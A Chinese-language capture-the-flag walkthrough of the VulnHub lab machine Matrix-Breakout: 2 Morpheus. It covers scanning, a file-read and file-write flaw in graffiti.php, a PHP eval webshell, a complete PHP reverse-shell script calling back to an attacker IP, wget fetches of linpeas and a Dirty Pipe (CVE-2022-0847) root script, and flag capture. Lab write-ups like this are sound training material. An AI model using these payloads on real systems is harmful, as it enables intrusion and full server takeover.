vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS
准备:
攻击机:虚拟机kali、本机win10。
靶机:Matrix-Breakout: 2 Morpheus,下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下载后直接vm打开即可。
知识点:文件上传、php伪协议、shell反弹、漏洞收集脚本的使用、CVE-2022-0847提权。

一:信息收集
1.nmap扫描
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22端口、80端口、81端口,开启了http服务、ssh服务。

2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.3 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt、graffiti.txt、graffiti.php等文件。

二:获取shell
1.burpsuite抓包
访问下扫描到的文件信息,获得如下信息:



使用brupsuite抓取提交的数据包进行分析,发现其存在参数file=graffiti.txt,并且返回的数据包中显示了graffiti.txt文件的信息。

那这里就存在文件读取漏洞。那我们使用php伪协议读取下graffiti.php文件的源码信息,命令:php://filter/read=convert.base64-encode/resource=graffiti.php,将获得加密数据进行base64解码,获得源码信息。
graffiti.php代码信息
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

2.文件上传获取shell
分析graffiti.php代码发现,当$file参数默认为graffiti.txt,但是当我们传递$file参数时会覆盖掉原来的默认值,因此这里我们可以直接写入后门文件,一句话后门:<?php%20eval($_POST['x']);?>,然后使用蚁剑进行连接,成功获得shell权限。这里注意下使用get的时候会出问题,尽量使用POST。


3.shell反弹
在这个网站:https://www.revshells.com/,使用php生成shell反弹脚本,然后在kali中开启web服务:python -m http.server,将shell反弹脚本下载到靶机:wget http://172.20.10.7:8000/backShell.php,在web中访问该文件即可获得反弹shell:http://172.20.10.3/backShell.php。
backShell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.7';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

获得shell权限后在当前目录下发现FLAG.txt文件,访问该文件获得flag值。

三:提权
1.漏洞信息查找
在shell中一番查找也未发现有用的信息,在home下发现两个账户信息,但是查找和两个账户有关的信息,也未发现有啥可利用的信息。

那就直接上脚本吧,利用脚本查找下可以利用的漏洞信息。脚本链接:链接:https://pan.baidu.com/s/1FUd0ohk7rkl-cJR18jkQ0w,提取码:upfn。命令:wget http://172.20.10.7:8000/linpeas.sh,然后赋予执行权限进行执行。

执行脚本后发现存在cve-2022-0847漏洞,这里可以尝试使用该漏洞进行提权,查找下该漏洞的提权方式:https://github.com/imfiver/CVE-2022-0847。

2.CVE-2022-0847提权
下载提权脚本后上传到靶机,命令:wget http://172.20.10.7:8000/Dirty-Pipe.sh,赋予执行权限后执行该脚本成功获得root权限。

获得root权限后在/root目录下发现FLAG.txt文件,访问该文件成功获得flag值。

vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS的更多相关文章
- 【Vulnhub靶场】EMPIRE: BREAKOUT
环境准备 下载靶机,导入到vmware里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2.15 靶机IP地址为:192.16 ...
- vulnhub靶场渗透实战15-matrix-breakout-2-morpheus
vulnhub靶场渗透实战15-matrix-breakout-2-morpheus 靶机搭建:vulnhub上是说vbox里更合适.可能有vbox版本兼容问题,我用的vmware导入. 靶场下载地址 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- MySQL约束条件(主键-自增-默认值)
目录 一:MySQL约束条件 1.什么是约束条件? 二:unsigned(去除正负号) 三:zerofill(不够位数零填充) 四:not null(非空) 1.使用约束条件(不添加会报错) 五:de ...
- Jmeter 定时器之同步定时器(Synchronizing Timer)
性能测试中需要模拟多用户并发测试,此时需要用到同步定时器(Synchronizing Timer).如下图,模拟用户组的数量设置20,相当于20个用户(线程)并发 名词解释: 名称:定时器名称,可根据 ...
- 重学c#系列—— 反射的基本理解[三十三]
前言 在上一章中介绍了什么是反射: https://www.cnblogs.com/aoximin/p/16440966.html 正文 上一节讲述反射的基本原理和为什么要用反射,还用反射的优缺点这些 ...
- Redis基础学习笔记
技术分类: 1.解决功能性的问题:Java.Jsp.RDBMS.Tomcat.HTML.Linux.JDBC.SVN 2.解决扩展性的问题:Struts.Spring.SpringMVC.Hibern ...
- Visual Studio 2022 MAUI NU1105(NETSDK1005) 处理记录
故障说明 MAUI项目是日常使用的项目,一直都好好的 某一天修改了几行代码后,突然项目无法编译了,提示NU1105错误 从Git重新拉取一份之前的代码编译也是同样的错误,经过半天的查阅,尝试了几种方案 ...
- NW js 打包入门教程
NW js 打包入门教程 NW.JS的安装与打包_u013288292的博客-CSDN博客_nwjs打包
- Asp-Net-Core-搭建ELK日志平台-Docker-Compose版本
title: Asp.Net Core 搭建ELK日志平台(Docker-Compose版本) date: 2022-09-27 15:16:59 tags: - .NET 由于暂时用不上Logsta ...
- [cocos2d-x]关于定时器
什么是定时器 定时器的作用就是每隔一段时间,就执行一段自定义的动作,比如飞机向前方移动,子弹的移动等等.该函数定义在CCNode头文件中,基本上cocos2dx中所有的东西都能够使用定时器. 定时器的 ...
- 一次JVM GC长暂停的排查过程
作者:京东科技 徐传乐 背景 在高并发下,Java程序的GC问题属于很典型的一类问题,带来的影响往往会被进一步放大.不管是「GC频率过快」还是「GC耗时太长」,由于GC期间都存在Stop The Wo ...
- 如何通过Terraform Associate考试并获得证书
1 什么是Terraform? Terraform是一个IaC工具,IaC全称为Infrastructure as Code,基础设施即代码.它的理念是通过代码来管理基础设施,如服务器.数据库等,更多 ...